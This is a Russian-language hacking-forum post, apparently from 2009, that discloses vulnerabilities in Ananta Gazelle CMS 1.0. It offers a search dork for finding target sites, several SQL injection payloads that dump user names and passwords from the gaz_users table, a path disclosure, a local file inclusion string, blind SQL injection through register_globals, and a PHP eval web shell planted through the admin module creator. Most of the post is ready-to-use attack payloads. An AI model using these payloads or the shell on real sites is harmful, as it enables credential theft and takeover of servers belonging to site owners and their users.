Ananta Gazelle Product : Ananta Gazelle Dork : "CMS: Ananta Gazelle" Site: http://www.anantasoft.com/ Found by: Dimi4 Date : 22.04.09 Пробегся быстренько по коду: Довольна интересная скуль. Рассмотрим user.php PHP: $user = $_GET["user"]; $q = mysql_query("select name from ".$tableprefix."users"); while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) { $userlist[$k{'name'}] = 1; } foreach ($userlist as $name => $value) { if ($user == $name) { $q = mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'"); while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) { $content = "<h3>User profile: ".$k{'name'}."</h3><div> <p>Username: ".$k{'name'}."</p>"; Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду. Регестрируемся на сайте как: Code: a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users -- А далее: Code: [COLOR=Red][B]user.php[/B][/COLOR]?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users -- Sql-inj: forgot.php PHP: $users = mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'"); while ($user = mysql_fetch_array($users, MYSQL_ASSOC)) { Code: POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz_users -- Раскрытие пути: (Вызываем скрипт из папки /admin/) http://localhost/Ananta_Gazelle1.0/admin/edituser.php Sql-inj remove.php PHP: $modules = mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'"); while ($mod = mysql_fetch_array($modules, MYSQL_ASSOC)) { $name = $mod{'name'}; Code: POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users -- Заливка шелла: Admin -> Create Module: Name xek; Code: PHP: <?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>
Anantasoft Gazelle CMS 1.0 LFI need: mq=off file: index.php PHP: $templatepath = include_once("modules/template.php"); // retrieve the correct template ...... include_once($templatepath."/index.php"); // add the template file:modules/template.php PHP: if (isset($_GET) && isset($_GET["template"]) && $_GET["template"]) { if ($admin == 1) { return "../templates/".$_GET["template"]; } else { return "templates/".$_GET["template"]; } result: Code: GET /index.php?template=[COLOR=White]../../[local_file]%00[/COLOR] blind SQL-Injection need: mq=off, rg=on file: modules/login.php PHP: if (isset($_SESSION["name"]) && $_SESSION["name"]) { $users = mysql_query("SELECT name FROM ".$tableprefix."users WHERE name='".$_SESSION["name"]."'"); if (!mysql_fetch_array($users, MYSQL_ASSOC)) { unset($_SESSION["name"]); // the user that somehow (2 website on same host using same session...) got logged in does not exist } result: Code: GET /index.php?[COLOR=White]_SESSION[name]=admin'+and+substring(version(),1,1)=5+--+[/COLOR] SQL-Injection need: mq=off, rg=on file:change.php PHP: if (isset($_SESSION["name"]) && $_SESSION["name"]) { $user = $_SESSION["name"]; // get user name to auto fill-in current user data } $q = mysql_query("select number, name, email, admin, active, showemail from ".$tableprefix."users where name='".$user."'"); result: Code: GET /change.php?[COLOR=White]_SESSION[name]=1'+union+select+1,version(),3,4,5,6+--+[/COLOR]